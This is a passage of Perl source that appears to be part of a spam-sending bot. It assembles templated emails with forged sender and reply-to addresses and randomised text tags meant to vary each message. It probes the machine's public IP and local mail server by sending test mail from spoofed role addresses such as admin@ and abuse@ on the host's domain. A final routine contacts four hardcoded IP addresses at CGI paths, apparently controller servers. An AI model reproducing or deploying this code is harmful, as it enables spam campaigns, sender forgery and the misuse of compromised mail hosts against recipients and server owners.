1229my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;
1230my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};
1231my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};
1232my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];
1233my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }
1234$date =
1235{
1236DATE => $date,
1237WWWW => $wday,
1238WWW => $1,
1239DD => sprintf ("%02d", $3),
1240D => $3,
1241MMMM => $tmon,
1242MMM => $2,
1243MM => sprintf ("%02d", $nmon),
1244M => $nmon,
1245YYYY => $7,
1246YY => substr ($7, -2),
1247Z => $zone,
1248TT => $ampm,
1249tt => lc $ampm,
1250HH => $4,
1251H => int $4,
1252hh => sprintf ("%02d", $hour),
1253h => $hour,
1254mm => $5,
1255m => int $5,
1256ss => $6,
1257s => int $6
1258};
1259my ($mail, $name) = &mail(\$from);
1260my ($user, $host) = split (/\@/, $$mail);
1261$from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
1262my $replyto = $from;
1263if ($b->{from}[0] ne $b->{replyto}[0])
1264{
1265($mail, $name) = &mail(\@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);
1266($user, $host) = split (/\@/, $$mail);
1267$replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
1268}
1269if ($b->{method} == 0)
1270{
1271#
1272@_ = ();
1273foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }
1274($user, $host) = split (/\@/, $$mail);
1275$to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
1276}
1277else
1278{
1279#
1280($mail, $name) = &mail(\$to->[0]);
1281($user, $host) = split (/\@/, $$mail);
1282$to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
1283}
1284my $head =
1285{
1286HELO => $b->{helo},
1287TYPE => $b->{type} ? "html" : "plain",
1288SUBJECT => @{$b->{subject}}[int rand scalar @{$b->{subject}}],
1289CHARSET => $b->{charset},
1290ENCODING => $b->{charset} eq "windows-1251" ? "8bit" : "7bit",
1291NPRIORITY => (5 - $b->{priority} * $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),
1292TPRIORITY => ["Low", "Normal", "High"]->[$b->{priority}],
1293MESSAGEID => sprintf ("%08x\.%04x%04x", int ($time * 0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)
1294};
1295my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};
1296$letter =~ s/\%$_\%/$head->{$_}/g foreach (keys %$head);
1297$letter =~ s/\%$_\%/$date->{$_}/g foreach (keys %$date);
1298$letter =~ s/\%FROM$_\%/$from->{$_}/g foreach (keys %$from);
1299$letter =~ s/\%REPLYTO$_\%/$replyto->{$_}/g foreach (keys %$replyto);
1300$letter =~ s/\%TO$_\%/$to->{$_}/g foreach (keys %$to);
1301&tag(\$letter);
1302if (!length $b->{letter})
1303{
1304$letter =~ s/\x0D//gm;
1305$letter =~ s/\x0A/\x0D\x0A/gm;
1306}
1307return $letter;
1308}
1309#
1310sub quoted ($)
1311{
1312my $line = shift;
1313$line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?\@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;
1314$line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;
1315my $lines = "";
1316$lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;
1317$lines .= $line;
1318return $lines;
1319}
1320#
1321sub tag
1322{
1323my $line = shift;
1324my $save = [];
1325$$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;
1326$$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;
1327$$line =~ s/\%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;
1328$$line =~ s/\[quot\](.*?)\[\/quot\]/"ed($1)/egs;
1329}
1330#
1331sub tagrandom
1332{
1333my ($line, $spec, $cell, $save) = @_;
1334if (defined $line && length $line)
1335{
1336if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)
1337{
1338$spec = $2 > 64 ? 64 : $2;
1339$spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;
1340}
1341else
1342{
1343$spec = length $line;
1344$spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);
1345}
1346$line = [split (//, $line)];
1347$line = join ('', @$line[map {rand @$line}(1..$spec)]);
1348}
1349$line = defined $line ? $line : "";
1350$$save->[$cell] = $line if defined $cell && $cell < 64;
1351return $line;
1352}
1353#
1354sub tagstring
1355{
1356my ($line, $cell, $save) = @_;
1357if (defined $line && length $line)
1358{
1359$line = [split (/\|/, $line)];
1360$line = $line->[int rand scalar @$line];
1361}
1362$line = defined $line ? $line : "";
1363$$save->[$cell] = $line if defined $cell && $cell < 64;
1364return $line;
1365}
1366#
1367sub test
1368{
1369my $test = shift;
1370my $tcpcn = sub
1371{
1372my $h = shift;
1373my $p = shift;
1374my $t = shift;
1375if ($h = gethostbyname $h)
1376{
1377if (my $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM))
1378{
1379$s->blocking(0);
1380unless ($s->connect($_ = sockaddr_in($p, $h)))
1381{
1382unless ($! == POSIX::EINPROGRESS || $! == POSIX::EWOULDBLOCK)
1383{
1384close $s;
1385return;
1386}
1387my $o = new IO::Select $s;
1388unless ($o->can_write($t))
1389{
1390close $s;
1391return;
1392}
1393unless ($s->connected)
1394{
1395close $s;
1396return;
1397}
1398}
1399$s->blocking(1);
1400return $s;
1401}
1402}
1403return;
1404};
1405my $tcprd = sub
1406{
1407my $s = shift;
1408my $t = shift;
1409my $b = shift;
1410$$b = "";
1411my $o = new IO::Select $s;
1412if ($o->can_read($t))
1413{
1414sysread $s, $$b, 8912;
1415}
1416else
1417{
1418close $s;
1419return;
1420}
1421return $s;
1422};
1423my $tcpwr = sub
1424{
1425my $s = shift;
1426my $t = shift;
1427my $b = shift;
1428my $o = new IO::Select $s;
1429if ($o->can_write($t))
1430{
1431syswrite $s, $b;
1432}
1433else
1434{
1435close $s;
1436return;
1437}
1438return $s;
1439};
1440my $time = 5;
1441my $host = "";
1442my $data = "";
1443if ($test)
1444{
1445@_ = ('ns.mail.ru', 'mail.ru', 'ns1.google.com', 'gmail.com', '208.67.222.222', 'yahoo.com');
1446while ($_ = shift @_)
1447{
1448$host = shift @_;
1449if ($data = gethostbyname $_)
1450{
1451$host = &nstest($_ = sockaddr_in(53, $data), $time, $host, "MX", 1);
1452next unless $host;
1453if (my $s = $tcpcn->($host, 25, $time))
1454{
1455if ($s = $tcprd->($s, $time, \$data))
1456{
1457close $s;
1458return 1 if length $data;
1459}
1460}
1461}
1462}
1463return 0;
1464}
1465$time = 5;
1466$host = "checkip.dyndns.org";
1467$data = "";
1468if (my $s = $tcpcn->($host, 80, $time))
1469{
1470if ($s = $tcpwr->($s, $time, "GET / HTTP 1.0\x0D\x0AHost: $host\x0D\x0A\x0D\x0A"))
1471{
1472if ($s = $tcprd->($s, $time, \$data))
1473{
1474close $s;
1475}
1476}
1477}
1478$host = "";
1479if ($data =~ /(\d+\.\d+\.\d+\.\d+)/)
1480{
1481$data = $1;
1482$host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "68.105.29.237"))), $time, $data, "PTR");
1483$host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.222.222"))), $time, $data, "PTR") unless $host;
1484$host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.220.220"))), $time, $data, "PTR") unless $host;
1485$host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "127.0.0.1"))), $time, $data, "PTR") unless $host;
1486}
1487my @from = ('a7189437@mail.com');
1488if ($host && $host =~ /\./)
1489{
1490@_ = split (/\./, $host);
1491while (2 <= scalar @_)
1492{
1493for (qw (support admin webmaster administrator www service tech customer robot noreply reply report post postmaster abuse))
1494{
1495push @from, join ('@', $_, join ('.', @_));
1496}
1497shift @_;
1498}
1499}
1500$host = "";
1501foreach my $mail (@from)
1502{
1503next unless (my $s = $tcpcn->("127.0.0.1", 25, $time));
1504#
1505$data = 'silver782@gmail.com';
1506my @smtp = ("", "HELO localhost", "", "MAIL FROM: <$mail>", "", "RCPT TO: <$data>", "", "DATA", "", "From: $mail\x0D\x0ATo: $data\x0D\x0ASubject: Test\x0D\x0A\x0D\x0ATest\x0D\x0A.", "", "QUIT", "");
1507my $last = "";
1508foreach (@smtp)
1509{
1510if (length $_)
1511{
1512$last = $_;
1513last unless ($s = $tcpwr->($s, $time, "$_\x0D\x0A"));
1514}
1515else
1516{
1517last unless ($s = $tcprd->($s, $time, \$data));
1518last if $data !~ /^(2|3)/;
1519$host = $mail if $last =~ /^From:/;
1520}
1521}
1522close $s if $s;
1523last if length $host;
1524}
1525return 0 if !length $host;
1526$host = "" if $host eq 'a7189437@mail.com';
1527return (1, $host);
1528}
1529sub hide
1530{
1531#
1532#
1533#
1534&main('194.54.81.163', '/cgi-bin/hn/hs.cgi');
1535&main('194.54.81.164', '/cgi-bin/hn/hs.cgi');
1536&main('194.54.81.162', '/cgi-bin/hn/hs.cgi');
1537&main('194.54.83.114', '/cgi-bin/network/net.cgi', 1);
1538#
1539}